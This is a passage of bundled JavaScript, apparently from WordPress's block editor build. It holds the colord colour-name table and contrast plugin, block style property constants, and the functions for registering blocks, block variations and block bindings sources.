&quot;#00ced1&quot;, lightcyan: &quot;#e0ffff&quot;, ivory: &quot;#fffff0&quot;, lightyellow: &quot;#ffffe0&quot;, lightsalmon: &quot;#ffa07a&quot;, lightseagreen: &quot;#20b2aa&quot;, linen: &quot;#faf0e6&quot;, mediumaquamarine: &quot;#66cdaa&quot;, lemonchiffon: &quot;#fffacd&quot;, lime: &quot;#00ff00&quot;, khaki: &quot;#f0e68c&quot;, mediumseagreen: &quot;#3cb371&quot;, limegreen: &quot;#32cd32&quot;, mediumspringgreen: &quot;#00fa9a&quot;, lightskyblue: &quot;#87cefa&quot;, lightblue: &quot;#add8e6&quot;, midnightblue: &quot;#191970&quot;, lightpink: &quot;#ffb6c1&quot;, mistyrose: &quot;#ffe4e1&quot;, moccasin: &quot;#ffe4b5&quot;, mintcream: &quot;#f5fffa&quot;, lightslategray: &quot;#778899&quot;, lightslategrey: &quot;#778899&quot;, navajowhite: &quot;#ffdead&quot;, navy: &quot;#000080&quot;, mediumvioletred: &quot;#c71585&quot;, powderblue: &quot;#b0e0e6&quot;, palegoldenrod: &quot;#eee8aa&quot;, oldlace: &quot;#fdf5e6&quot;, paleturquoise: &quot;#afeeee&quot;, mediumturquoise: &quot;#48d1cc&quot;, mediumorchid: &quot;#ba55d3&quot;, rebeccapurple: &quot;#663399&quot;, lightsteelblue: &quot;#b0c4de&quot;, mediumslateblue: &quot;#7b68ee&quot;, thistle: &quot;#d8bfd8&quot;, tan: &quot;#d2b48c&quot;, orchid: &quot;#da70d6&quot;, mediumpurple: &quot;#9370db&quot;, purple: &quot;#800080&quot;, pink: &quot;#ffc0cb&quot;, skyblue: &quot;#87ceeb&quot;, springgreen: &quot;#00ff7f&quot;, palegreen: &quot;#98fb98&quot;, red: &quot;#ff0000&quot;, yellow: &quot;#ffff00&quot;, slateblue: &quot;#6a5acd&quot;, lavenderblush: &quot;#fff0f5&quot;, peru: &quot;#cd853f&quot;, palevioletred: &quot;#db7093&quot;, violet: &quot;#ee82ee&quot;, teal: &quot;#008080&quot;, slategray: &quot;#708090&quot;, slategrey: &quot;#708090&quot;, aliceblue: &quot;#f0f8ff&quot;, darkseagreen: &quot;#8fbc8f&quot;, darkolivegreen: &quot;#556b2f&quot;, greenyellow: &quot;#adff2f&quot;, seagreen: &quot;#2e8b57&quot;, seashell: &quot;#fff5ee&quot;, tomato: &quot;#ff6347&quot;, silver: &quot;#c0c0c0&quot;, sienna: &quot;#a0522d&quot;, lavender: &quot;#e6e6fa&quot;, lightgreen: &quot;#90ee90&quot;, orange: &quot;#ffa500&quot;, orangered: &quot;#ff4500&quot;, steelblue: &quot;#4682b4&quot;, royalblue: &quot;#4169e1&quot;, turquoise: &quot;#40e0d0&quot;, yellowgreen: &quot;#9acd32&quot;, salmon: &quot;#fa8072&quot;, saddlebrown: &quot;#8b4513&quot;, sandybrown: &quot;#f4a460&quot;, rosybrown: &quot;#bc8f8f&quot;, darksalmon: &quot;#e9967a&quot;, lightgoldenrodyellow: &quot;#fafad2&quot;, snow: &quot;#fffafa&quot;, lightgrey: &quot;#d3d3d3&quot;, lightgray: &quot;#d3d3d3&quot;, dimgray: &quot;#696969&quot;, dimgrey: &quot;#696969&quot;, olivedrab: &quot;#6b8e23&quot;, olive: &quot;#808000&quot; }, r2 = {};
    for (var d3 in a2) r2[a2[d3]] = d3;
    var l4 = {};
    e2.prototype.toName = function(f3) {
      if (!(this.rgba.a || this.rgba.r || this.rgba.g || this.rgba.b)) return &quot;transparent&quot;;
      var d4, i2, n2 = r2[this.toHex()];
      if (n2) return n2;
      if (null == f3 ? void 0 : f3.closest) {
        var o3 = this.toRgb(), t3 = 1 / 0, b3 = &quot;black&quot;;
        if (!l4.length) for (var c2 in a2) l4[c2] = new e2(a2[c2]).toRgb();
        for (var g3 in a2) {
          var u2 = (d4 = o3, i2 = l4[g3], Math.pow(d4.r - i2.r, 2) + Math.pow(d4.g - i2.g, 2) + Math.pow(d4.b - i2.b, 2));
          u2 &lt; t3 &amp;&amp; (t3 = u2, b3 = g3);
        }
        return b3;
      }
    };
    f2.string.push([function(f3) {
      var r3 = f3.toLowerCase(), d4 = &quot;transparent&quot; === r3 ? &quot;#0000&quot; : a2[r3];
      return d4 ? new e2(d4).toRgb() : null;
    }, &quot;name&quot;]);
  }

  // node_modules/colord/plugins/a11y.mjs
  var o2 = function(o3) {
    var t3 = o3 / 255;
    return t3 &lt; 0.04045 ? t3 / 12.92 : Math.pow((t3 + 0.055) / 1.055, 2.4);
  };
  var t2 = function(t3) {
    return 0.2126 * o2(t3.r) + 0.7152 * o2(t3.g) + 0.0722 * o2(t3.b);
  };
  function a11y_default(o3) {
    o3.prototype.luminance = function() {
      return o4 = t2(this.rgba), void 0 === (r2 = 2) &amp;&amp; (r2 = 0), void 0 === n2 &amp;&amp; (n2 = Math.pow(10, r2)), Math.round(n2 * o4) / n2 + 0;
      var o4, r2, n2;
    }, o3.prototype.contrast = function(r2) {
      void 0 === r2 &amp;&amp; (r2 = &quot;#FFF&quot;);
      var n2, a2, i2, e2, v3, u2, d3, c2 = r2 instanceof o3 ? r2 : new o3(r2);
      return e2 = this.rgba, v3 = c2.toRgb(), u2 = t2(e2), d3 = t2(v3), n2 = u2 &gt; d3 ? (u2 + 0.05) / (d3 + 0.05) : (d3 + 0.05) / (u2 + 0.05), void 0 === (a2 = 2) &amp;&amp; (a2 = 0), void 0 === i2 &amp;&amp; (i2 = Math.pow(10, a2)), Math.floor(i2 * n2) / i2 + 0;
    }, o3.prototype.isReadable = function(o4, t3) {
      return void 0 === o4 &amp;&amp; (o4 = &quot;#FFF&quot;), void 0 === t3 &amp;&amp; (t3 = {}), this.contrast(o4) &gt;= (e2 = void 0 === (i2 = (r2 = t3).size) ? &quot;normal&quot; : i2, &quot;AAA&quot; === (a2 = void 0 === (n2 = r2.level) ? &quot;AA&quot; : n2) &amp;&amp; &quot;normal&quot; === e2 ? 7 : &quot;AA&quot; === a2 &amp;&amp; &quot;large&quot; === e2 ? 3 : 4.5);
      var r2, n2, a2, i2, e2;
    };
  }

  // packages/blocks/build-module/api/utils.mjs
  var import_element = __toESM(require_element(), 1);
  var import_i18n2 = __toESM(require_i18n(), 1);
  var import_dom = __toESM(require_dom(), 1);
  var import_rich_text = __toESM(require_rich_text(), 1);
  var import_deprecated = __toESM(require_deprecated(), 1);

  // packages/blocks/build-module/api/constants.mjs
  var BLOCK_ICON_DEFAULT = &quot;block-default&quot;;
  var DEPRECATED_ENTRY_KEYS = [
    &quot;attributes&quot;,
    &quot;supports&quot;,
    &quot;save&quot;,
    &quot;migrate&quot;,
    &quot;isEligible&quot;,
    &quot;apiVersion&quot;
  ];
  var __EXPERIMENTAL_STYLE_PROPERTY = {
    // Kept for back-compatibility purposes.
    &quot;--wp--style--color--link&quot;: {
      value: [&quot;color&quot;, &quot;link&quot;],
      support: [&quot;color&quot;, &quot;link&quot;]
    },
    aspectRatio: {
      value: [&quot;dimensions&quot;, &quot;aspectRatio&quot;],
      support: [&quot;dimensions&quot;, &quot;aspectRatio&quot;],
      useEngine: true
    },
    background: {
      value: [&quot;color&quot;, &quot;gradient&quot;],
      support: [&quot;color&quot;, &quot;gradients&quot;],
      useEngine: true
    },
    backgroundColor: {
      value: [&quot;color&quot;, &quot;background&quot;],
      support: [&quot;color&quot;, &quot;background&quot;],
      requiresOptOut: true,
      useEngine: true
    },
    backgroundImage: {
      value: [&quot;background&quot;, &quot;backgroundImage&quot;],
      support: [&quot;background&quot;, &quot;backgroundImage&quot;],
      useEngine: true
    },
    backgroundRepeat: {
      value: [&quot;background&quot;, &quot;backgroundRepeat&quot;],
      support: [&quot;background&quot;, &quot;backgroundRepeat&quot;],
      useEngine: true
    },
    backgroundSize: {
      value: [&quot;background&quot;, &quot;backgroundSize&quot;],
      support: [&quot;background&quot;, &quot;backgroundSize&quot;],
      useEngine: true
    },
    backgroundPosition: {
      value: [&quot;background&quot;, &quot;backgroundPosition&quot;],
      support: [&quot;background&quot;, &quot;backgroundPosition&quot;],
      useEngine: true
    },
    backgroundGradient: {
      value: [&quot;background&quot;, &quot;gradient&quot;],
      support: [&quot;background&quot;, &quot;gradient&quot;],
      useEngine: true
    },
    borderColor: {
      value: [&quot;border&quot;, &quot;color&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;color&quot;],
      useEngine: true
    },
    borderRadius: {
      value: [&quot;border&quot;, &quot;radius&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;radius&quot;],
      properties: {
        borderTopLeftRadius: &quot;topLeft&quot;,
        borderTopRightRadius: &quot;topRight&quot;,
        borderBottomLeftRadius: &quot;bottomLeft&quot;,
        borderBottomRightRadius: &quot;bottomRight&quot;
      },
      useEngine: true
    },
    borderStyle: {
      value: [&quot;border&quot;, &quot;style&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;style&quot;],
      useEngine: true
    },
    borderWidth: {
      value: [&quot;border&quot;, &quot;width&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;width&quot;],
      useEngine: true
    },
    borderTopColor: {
      value: [&quot;border&quot;, &quot;top&quot;, &quot;color&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;color&quot;],
      useEngine: true
    },
    borderTopStyle: {
      value: [&quot;border&quot;, &quot;top&quot;, &quot;style&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;style&quot;],
      useEngine: true
    },
    borderTopWidth: {
      value: [&quot;border&quot;, &quot;top&quot;, &quot;width&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;width&quot;],
      useEngine: true
    },
    borderRightColor: {
      value: [&quot;border&quot;, &quot;right&quot;, &quot;color&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;color&quot;],
      useEngine: true
    },
    borderRightStyle: {
      value: [&quot;border&quot;, &quot;right&quot;, &quot;style&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;style&quot;],
      useEngine: true
    },
    borderRightWidth: {
      value: [&quot;border&quot;, &quot;right&quot;, &quot;width&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;width&quot;],
      useEngine: true
    },
    borderBottomColor: {
      value: [&quot;border&quot;, &quot;bottom&quot;, &quot;color&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;color&quot;],
      useEngine: true
    },
    borderBottomStyle: {
      value: [&quot;border&quot;, &quot;bottom&quot;, &quot;style&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;style&quot;],
      useEngine: true
    },
    borderBottomWidth: {
      value: [&quot;border&quot;, &quot;bottom&quot;, &quot;width&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;width&quot;],
      useEngine: true
    },
    borderLeftColor: {
      value: [&quot;border&quot;, &quot;left&quot;, &quot;color&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;color&quot;],
      useEngine: true
    },
    borderLeftStyle: {
      value: [&quot;border&quot;, &quot;left&quot;, &quot;style&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;style&quot;],
      useEngine: true
    },
    borderLeftWidth: {
      value: [&quot;border&quot;, &quot;left&quot;, &quot;width&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;width&quot;],
      useEngine: true
    },
    color: {
      value: [&quot;color&quot;, &quot;text&quot;],
      support: [&quot;color&quot;, &quot;text&quot;],
      requiresOptOut: true,
      useEngine: true
    },
    columnCount: {
      value: [&quot;typography&quot;, &quot;textColumns&quot;],
      support: [&quot;typography&quot;, &quot;textColumns&quot;],
      useEngine: true
    },
    filter: {
      value: [&quot;filter&quot;, &quot;duotone&quot;],
      support: [&quot;filter&quot;, &quot;duotone&quot;]
    },
    linkColor: {
      value: [&quot;elements&quot;, &quot;link&quot;, &quot;color&quot;, &quot;text&quot;],
      support: [&quot;color&quot;, &quot;link&quot;]
    },
    captionColor: {
      value: [&quot;elements&quot;, &quot;caption&quot;, &quot;color&quot;, &quot;text&quot;],
      support: [&quot;color&quot;, &quot;caption&quot;]
    },
    buttonColor: {
      value: [&quot;elements&quot;, &quot;button&quot;, &quot;color&quot;, &quot;text&quot;],
      support: [&quot;color&quot;, &quot;button&quot;]
    },
    buttonBackgroundColor: {
      value: [&quot;elements&quot;, &quot;button&quot;, &quot;color&quot;, &quot;background&quot;],
      support: [&quot;color&quot;, &quot;button&quot;]
    },
    headingColor: {
      value: [&quot;elements&quot;, &quot;heading&quot;, &quot;color&quot;, &quot;text&quot;],
      support: [&quot;color&quot;, &quot;heading&quot;]
    },
    headingBackgroundColor: {
      value: [&quot;elements&quot;, &quot;heading&quot;, &quot;color&quot;, &quot;background&quot;],
      support: [&quot;color&quot;, &quot;heading&quot;]
    },
    fontFamily: {
      value: [&quot;typography&quot;, &quot;fontFamily&quot;],
      support: [&quot;typography&quot;, &quot;__experimentalFontFamily&quot;],
      useEngine: true
    },
    fontSize: {
      value: [&quot;typography&quot;, &quot;fontSize&quot;],
      support: [&quot;typography&quot;, &quot;fontSize&quot;],
      useEngine: true
    },
    fontStyle: {
      value: [&quot;typography&quot;, &quot;fontStyle&quot;],
      support: [&quot;typography&quot;, &quot;__experimentalFontStyle&quot;],
      useEngine: true
    },
    fontWeight: {
      value: [&quot;typography&quot;, &quot;fontWeight&quot;],
      support: [&quot;typography&quot;, &quot;__experimentalFontWeight&quot;],
      useEngine: true
    },
    lineHeight: {
      value: [&quot;typography&quot;, &quot;lineHeight&quot;],
      support: [&quot;typography&quot;, &quot;lineHeight&quot;],
      useEngine: true
    },
    margin: {
      value: [&quot;spacing&quot;, &quot;margin&quot;],
      support: [&quot;spacing&quot;, &quot;margin&quot;],
      properties: {
        marginTop: &quot;top&quot;,
        marginRight: &quot;right&quot;,
        marginBottom: &quot;bottom&quot;,
        marginLeft: &quot;left&quot;
      },
      useEngine: true
    },
    minHeight: {
      value: [&quot;dimensions&quot;, &quot;minHeight&quot;],
      support: [&quot;dimensions&quot;, &quot;minHeight&quot;],
      useEngine: true
    },
    minWidth: {
      value: [&quot;dimensions&quot;, &quot;minWidth&quot;],
      support: [&quot;dimensions&quot;, &quot;minWidth&quot;],
      useEngine: true
    },
    height: {
      value: [&quot;dimensions&quot;, &quot;height&quot;],
      support: [&quot;dimensions&quot;, &quot;height&quot;],
      useEngine: true
    },
    width: {
      value: [&quot;dimensions&quot;, &quot;width&quot;],
      support: [&quot;dimensions&quot;, &quot;width&quot;],
      useEngine: true
    },
    padding: {
      value: [&quot;spacing&quot;, &quot;padding&quot;],
      support: [&quot;spacing&quot;, &quot;padding&quot;],
      properties: {
        paddingTop: &quot;top&quot;,
        paddingRight: &quot;right&quot;,
        paddingBottom: &quot;bottom&quot;,
        paddingLeft: &quot;left&quot;
      },
      useEngine: true
    },
    textAlign: {
      value: [&quot;typography&quot;, &quot;textAlign&quot;],
      support: [&quot;typography&quot;, &quot;textAlign&quot;],
      useEngine: false
    },
    textDecoration: {
      value: [&quot;typography&quot;, &quot;textDecoration&quot;],
      support: [&quot;typography&quot;, &quot;__experimentalTextDecoration&quot;],
      useEngine: true
    },
    textTransform: {
      value: [&quot;typography&quot;, &quot;textTransform&quot;],
      support: [&quot;typography&quot;, &quot;__experimentalTextTransform&quot;],
      useEngine: true
    },
    letterSpacing: {
      value: [&quot;typography&quot;, &quot;letterSpacing&quot;],
      support: [&quot;typography&quot;, &quot;__experimentalLetterSpacing&quot;],
      useEngine: true
    },
    textIndent: {
      value: [&quot;typography&quot;, &quot;textIndent&quot;],
      support: [&quot;typography&quot;, &quot;textIndent&quot;],
      useEngine: true
    },
    writingMode: {
      value: [&quot;typography&quot;, &quot;writingMode&quot;],
      support: [&quot;typography&quot;, &quot;__experimentalWritingMode&quot;],
      useEngine: true
    },
    &quot;--wp--style--root--padding&quot;: {
      value: [&quot;spacing&quot;, &quot;padding&quot;],
      support: [&quot;spacing&quot;, &quot;padding&quot;],
      properties: {
        &quot;--wp--style--root--padding-top&quot;: &quot;top&quot;,
        &quot;--wp--style--root--padding-right&quot;: &quot;right&quot;,
        &quot;--wp--style--root--padding-bottom&quot;: &quot;bottom&quot;,
        &quot;--wp--style--root--padding-left&quot;: &quot;left&quot;
      },
      rootOnly: true
    }
  };
  var __EXPERIMENTAL_ELEMENTS = {
    link: &quot;a:where(:not(.wp-element-button))&quot;,
    heading: &quot;h1, h2, h3, h4, h5, h6&quot;,
    h1: &quot;h1&quot;,
    h2: &quot;h2&quot;,
    h3: &quot;h3&quot;,
    h4: &quot;h4&quot;,
    h5: &quot;h5&quot;,
    h6: &quot;h6&quot;,
    button: &quot;.wp-element-button, .wp-block-button__link&quot;,
    caption: &quot;.wp-element-caption, .wp-block-audio figcaption, .wp-block-embed figcaption, .wp-block-gallery figcaption, .wp-block-image figcaption, .wp-block-table figcaption, .wp-block-video figcaption&quot;,
    cite: &quot;cite&quot;,
    select: &quot;select&quot;,
    textInput: &quot;textarea, input:where([type=email],[type=number],[type=password],[type=search],[type=tel],[type=text],[type=url])&quot;
  };
  var __EXPERIMENTAL_PATHS_WITH_OVERRIDE = {
    &quot;color.duotone&quot;: true,
    &quot;color.gradients&quot;: true,
    &quot;color.palette&quot;: true,
    &quot;dimensions.aspectRatios&quot;: true,
    &quot;typography.fontSizes&quot;: true,
    &quot;spacing.spacingSizes&quot;: true
  };

  // packages/blocks/build-module/api/registration.mjs
  var import_data = __toESM(require_data(), 1);
  var import_i18n = __toESM(require_i18n(), 1);
  var import_warning = __toESM(require_warning(), 1);

  // packages/blocks/build-module/api/i18n-block.json
  var i18n_block_default = {
    title: &quot;block title&quot;,
    description: &quot;block description&quot;,
    keywords: [&quot;block keyword&quot;],
    styles: [
      {
        label: &quot;block style label&quot;
      }
    ],
    variations: [
      {
        title: &quot;block variation title&quot;,
        description: &quot;block variation description&quot;,
        keywords: [&quot;block variation keyword&quot;]
      }
    ]
  };

  // packages/blocks/build-module/lock-unlock.mjs
  var import_private_apis = __toESM(require_private_apis(), 1);
  var { lock, unlock } = (0, import_private_apis.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
    &quot;I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.&quot;,
    &quot;@wordpress/blocks&quot;
  );

  // packages/blocks/build-module/api/registration.mjs
  function isObject(object) {
    return object !== null &amp;&amp; typeof object === &quot;object&quot;;
  }
  function unstable__bootstrapServerSideBlockDefinitions(definitions) {
    const { addBootstrappedBlockType: addBootstrappedBlockType2 } = unlock((0, import_data.dispatch)(store));
    for (const [name, blockType] of Object.entries(definitions)) {
      addBootstrappedBlockType2(name, blockType);
    }
  }
  function getBlockSettingsFromMetadata({
    textdomain,
    ...metadata
  }) {
    const allowedFields = [
      &quot;apiVersion&quot;,
      &quot;title&quot;,
      &quot;category&quot;,
      &quot;parent&quot;,
      &quot;ancestor&quot;,
      &quot;icon&quot;,
      &quot;description&quot;,
      &quot;keywords&quot;,
      &quot;attributes&quot;,
      &quot;providesContext&quot;,
      &quot;usesContext&quot;,
      &quot;selectors&quot;,
      &quot;supports&quot;,
      &quot;styles&quot;,
      &quot;example&quot;,
      &quot;variations&quot;,
      &quot;blockHooks&quot;,
      &quot;allowedBlocks&quot;
    ];
    const settings = Object.fromEntries(
      Object.entries(metadata).filter(
        ([key]) =&gt; allowedFields.includes(key)
      )
    );
    if (textdomain) {
      Object.keys(i18n_block_default).forEach((key) =&gt; {
        if (!settings[key]) {
          return;
        }
        settings[key] = translateBlockSettingUsingI18nSchema(
          i18n_block_default[key],
          settings[key],
          textdomain
        );
      });
    }
    return settings;
  }
  function registerBlockType(blockNameOrMetadata, settings) {
    const name = isObject(blockNameOrMetadata) ? blockNameOrMetadata.name : blockNameOrMetadata;
    if (typeof name !== &quot;string&quot;) {
      (0, import_warning.default)(&quot;Block names must be strings.&quot;);
      return;
    }
    if (!/^[a-z][a-z0-9-]*\/[a-z][a-z0-9-]*$/.test(name)) {
      (0, import_warning.default)(
        &quot;Block names must contain a namespace prefix, include only lowercase alphanumeric characters or dashes, and start with a letter. Example: my-plugin/my-custom-block&quot;
      );
      return;
    }
    if ((0, import_data.select)(store).getBlockType(name)) {
      (0, import_warning.default)(&#039;Block &quot;&#039; + name + &#039;&quot; is already registered.&#039;);
      return;
    }
    const { addBootstrappedBlockType: addBootstrappedBlockType2, addUnprocessedBlockType: addUnprocessedBlockType2 } = unlock(
      (0, import_data.dispatch)(store)
    );
    if (isObject(blockNameOrMetadata)) {
      const metadata = getBlockSettingsFromMetadata(blockNameOrMetadata);
      addBootstrappedBlockType2(name, metadata);
    }
    addUnprocessedBlockType2(name, settings);
    return (0, import_data.select)(store).getBlockType(name);
  }
  function translateBlockSettingUsingI18nSchema(i18nSchema, settingValue, textdomain) {
    if (typeof i18nSchema === &quot;string&quot; &amp;&amp; typeof settingValue === &quot;string&quot;) {
      return (0, import_i18n._x)(settingValue, i18nSchema, textdomain);
    }
    if (Array.isArray(i18nSchema) &amp;&amp; i18nSchema.length &amp;&amp; Array.isArray(settingValue)) {
      return settingValue.map(
        (value) =&gt; translateBlockSettingUsingI18nSchema(
          i18nSchema[0],
          value,
          textdomain
        )
      );
    }
    if (isObject(i18nSchema) &amp;&amp; Object.entries(i18nSchema).length &amp;&amp; isObject(settingValue)) {
      return Object.keys(settingValue).reduce(
        (accumulator, key) =&gt; {
          if (!i18nSchema[key]) {
            accumulator[key] = settingValue[key];
            return accumulator;
          }
          accumulator[key] = translateBlockSettingUsingI18nSchema(
            i18nSchema[key],
            settingValue[key],
            textdomain
          );
          return accumulator;
        },
        {}
      );
    }
    return settingValue;
  }
  function registerBlockCollection(namespace, { title, icon }) {
    (0, import_data.dispatch)(store).addBlockCollection(namespace, title, icon);
  }
  function unregisterBlockType(name) {
    const oldBlock = (0, import_data.select)(store).getBlockType(name);
    if (!oldBlock) {
      (0, import_warning.default)(&#039;Block &quot;&#039; + name + &#039;&quot; is not registered.&#039;);
      return;
    }
    (0, import_data.dispatch)(store).removeBlockTypes(name);
    return oldBlock;
  }
  function setFreeformContentHandlerName(blockName) {
    (0, import_data.dispatch)(store).setFreeformFallbackBlockName(blockName);
  }
  function getFreeformContentHandlerName() {
    return (0, import_data.select)(store).getFreeformFallbackBlockName();
  }
  function getGroupingBlockName() {
    return (0, import_data.select)(store).getGroupingBlockName();
  }
  function setUnregisteredTypeHandlerName(blockName) {
    (0, import_data.dispatch)(store).setUnregisteredFallbackBlockName(blockName);
  }
  function getUnregisteredTypeHandlerName() {
    return (0, import_data.select)(store).getUnregisteredFallbackBlockName();
  }
  function setDefaultBlockName(name) {
    (0, import_data.dispatch)(store).setDefaultBlockName(name);
  }
  function setGroupingBlockName(name) {
    (0, import_data.dispatch)(store).setGroupingBlockName(name);
  }
  function getDefaultBlockName() {
    return (0, import_data.select)(store).getDefaultBlockName();
  }
  function getBlockType(name) {
    return (0, import_data.select)(store)?.getBlockType(name);
  }
  function getBlockTypes() {
    return (0, import_data.select)(store).getBlockTypes();
  }
  function getBlockSupport(nameOrType, feature, defaultSupports) {
    return (0, import_data.select)(store).getBlockSupport(
      nameOrType,
      feature,
      defaultSupports
    );
  }
  function hasBlockSupport(nameOrType, feature, defaultSupports) {
    return (0, import_data.select)(store).hasBlockSupport(
      nameOrType,
      feature,
      defaultSupports
    );
  }
  function isReusableBlock(blockOrType) {
    return blockOrType?.name === &quot;core/block&quot;;
  }
  function isTemplatePart(blockOrType) {
    return blockOrType?.name === &quot;core/template-part&quot;;
  }
  var getChildBlockNames = (blockName) =&gt; {
    return (0, import_data.select)(store).getChildBlockNames(blockName);
  };
  var hasChildBlocks = (blockName) =&gt; {
    return (0, import_data.select)(store).hasChildBlocks(blockName);
  };
  var hasChildBlocksWithInserterSupport = (blockName) =&gt; {
    return (0, import_data.select)(store).hasChildBlocksWithInserterSupport(blockName);
  };
  var registerBlockStyle = (blockNames, styleVariation) =&gt; {
    (0, import_data.dispatch)(store).addBlockStyles(blockNames, styleVariation);
  };
  var unregisterBlockStyle = (blockName, styleVariationName) =&gt; {
    (0, import_data.dispatch)(store).removeBlockStyles(blockName, styleVariationName);
  };
  var getBlockVariations = (blockName, scope) =&gt; {
    return (0, import_data.select)(store).getBlockVariations(blockName, scope);
  };
  var registerBlockVariation = (blockName, variation) =&gt; {
    if (Array.isArray(variation)) {
      for (const v3 of variation) {
        if (typeof v3.name !== &quot;string&quot;) {
          (0, import_warning.default)(&quot;Variation names must be unique strings.&quot;);
        }
      }
    } else if (typeof variation.name !== &quot;string&quot;) {
      (0, import_warning.default)(&quot;Variation names must be unique strings.&quot;);
    }
    (0, import_data.dispatch)(store).addBlockVariations(blockName, variation);
  };
  var unregisterBlockVariation = (blockName, variationName) =&gt; {
    (0, import_data.dispatch)(store).removeBlockVariations(blockName, variationName);
  };
  var registerBlockBindingsSource = (source) =&gt; {
    const {
      name,
      label,
      usesContext,
      getValues,
      setValues,
      canUserEditValue,
      getFieldsList
    } = source;
    const existingSource = unlock(
      (0, import_data.select)(store)
    ).getBlockBindingsSource(name);
    const serverProps = [&quot;label&quot;, &quot;usesContext&quot;];
    for (const prop2 in existingSource) {
      if (!serverProps.includes(prop2) &amp;&amp; existingSource[prop2]) {
        (0, import_warning.default)(
          &#039;Block bindings source &quot;&#039; + name + &#039;&quot; is already registered.&#039;
        );
        return;
      }
    }
    if (!name) {
      (0, import_warning.default)(&quot;Block bindings source must contain a name.&quot;);
      return;
    }
    if (typeof name !== &quot;string&quot;) {
      (0, import_warning.default)(&quot;Block bindings source name must be a string.&quot;);
      return;
    }
    if (/[A-Z]+/.test(name)) {
      (0, import_warning.default)(
        &quot;Block bindings source name must not contain uppercase characters.&quot;
      );
      return;
    }
    if (!/^[a-z0-9/-]+$/.test(name)) {
      (0, import_warning.default)(
        &quot;Block bindings source name must contain only valid characters: lowercase characters, hyphens, or digits. Example: my-plugin/my-custom-source.&quot;
      );
      return;
    }
    if (!/^[a-z0-9-]+\/[a-z0-9-]+$/.test(name)) {
      (0, import_warning.default)(
        &quot;Block bindings source name must contain a namespace and valid characters. Example: my-plugin/my-custom-source.&quot;
      );
      return;
    }
    if (!label &amp;&amp; !existingSource?.label) {
      (0, import_warning.default)(&quot;Block bindings source must contain a label.&quot;);
      return;
    }
    if (label &amp;&amp; typeof label !== &quot;string&quot;) {
      (0, import_warning.default)(&quot;Block bindings source label must be a string.&quot;);
      return;
    }
    if (label &amp;&amp; existingSource?.label &amp;&amp; label !== existingSource?.label) {
      (0, import_warning.default)(&#039;Block bindings &quot;&#039; + name + &#039;&quot; source label was overridden.&#039;);
    }
    if (usesContext &amp;&amp; !Array.isArray(usesContext)) {
      (0, import_warning.default)(&quot;Block bindings source usesContext must be an array.&quot;);
      return;
    }
    if (getValues &amp;&amp; typeof getValues !== &quot;function&quot;) {
      (0, import_warning.default)(&quot;Block bindings source getValues must be a function.&quot;);
      return;
    }
    if (setValues &amp;&amp; typeof setValues !== &quot;function&quot;) {
      (0, import_warning.default)(&quot;Block bindings source setValues must be a function.&quot;);
      return;
    }
    if (canUserEditValue &amp;&amp; typeof canUserEditValue !== &quot;function&quot;) {
      (0, import_warning.default)(&quot;Block bindings source canUserEditValue must be a function.&quot;);
      return;
    }
    if (getFieldsList &amp;&amp; typeof getFieldsList !== &quot;function&quot;) {
      (0, import_warning.default)(&quot;Block bindings source getFieldsList must be a function.&quot;);
      return;
    }
    return unlock((0, import_data.dispatch)(store)).addBlockBindingsSource(source);
  };
  function unregisterBlockBindingsSource(name) {
    const oldSource = getBlockBindingsSource(name);
    if (!oldSource) {
      (0, import_warning.default)(&#039;Block bindings source &quot;&#039; + name + &#039;&quot; is not registered.&#039;);
      return;
    }
    unlock((0, import_data.dispatch)(store)).removeBlockBindingsSource(name);
  }
  function getBlockBindingsSource(name) {
    return unlock((0, import_data.select)(store)).getBlockBindingsSource(name);
  }
  function getBlockBindingsSources() {
    return unlock((0, import_data.select)(store)).getAllBlockBindingsSources();
  }

  // packages/blocks/build-module/api/utils.mjs
  k([names_default, a11y_default]);
  var ICON_COLORS = [&quot;#191e23&quot;, &quot;#f8f9f9&quot;];
  function isUnmodifiedBlock(block, role) {
    const blockAttributes = getBlockType(block.name)?.attributes ?? {};
    const attributesByRole = role ? Object.entries(blockAttributes).filter(([key, definition]) =&gt; {
      if (role === &quot;content&quot; &amp;&amp; key === &quot;metadata&quot;) {
        return Object.keys(
          block.attributes[key]?.bindings ?? {}
        ).length &gt; 0;
      }
      return definition.role === role || definition.__experimentalRole === role;
    }) : [];
    const attributesToCheck = !!attributesByRole.length ? attributesByRole : Object.entries(blockAttributes);
    return attributesToCheck.every(([key, definition]) =&gt; {
      const value = block.attributes[key];
      if (definition.hasOwnProperty(&quot;default&quot;)) {
        return value === definition.default;
      }
      if (definition.type === &quot;rich-text&quot;) {
        return !value?.length;
      }
      return value === void 0;
    });
  }
  function isUnmodifiedDefaultBlock(block, role) {
    return block.name === getDefaultBlockName() &amp;&amp; isUnmodifiedBlock(block, role);
  }
  function isValidIcon(icon) {
    return !!icon &amp;&amp; (typeof icon === &quot;string&quot; || (0, import_element.isValidElement)(icon) || typeof icon === &quot;function&quot; || icon instanceof import_element.Component);
  }
  function normalizeIconObject(icon) {
    const resolvedIcon = icon || BLOCK_ICON_DEFAULT;
    if (isValidIcon(resolvedIcon)) {
      return { src: resolvedIcon };
    }
    const iconDescriptor = resolvedIcon;
    if (&quot;background&quot; in iconDescriptor) {
      const colordBgColor = w(iconDescriptor.background);
      const getColorContrast = (iconColor) =&gt; colordBgColor.contrast(iconColor);
      const maxContrast = Math.max(...ICON_COLORS.map(getColorContrast));
      return {
        ...iconDescriptor,
        foreground: iconDescriptor.foreground ? iconDescriptor.foreground : ICON_COLORS.find(
          (iconColor) =&gt; getColorContrast(iconColor) === maxContrast
        ),
        shadowColor: colordBgColor.alpha(0.3).toRgbString()
      };
    }
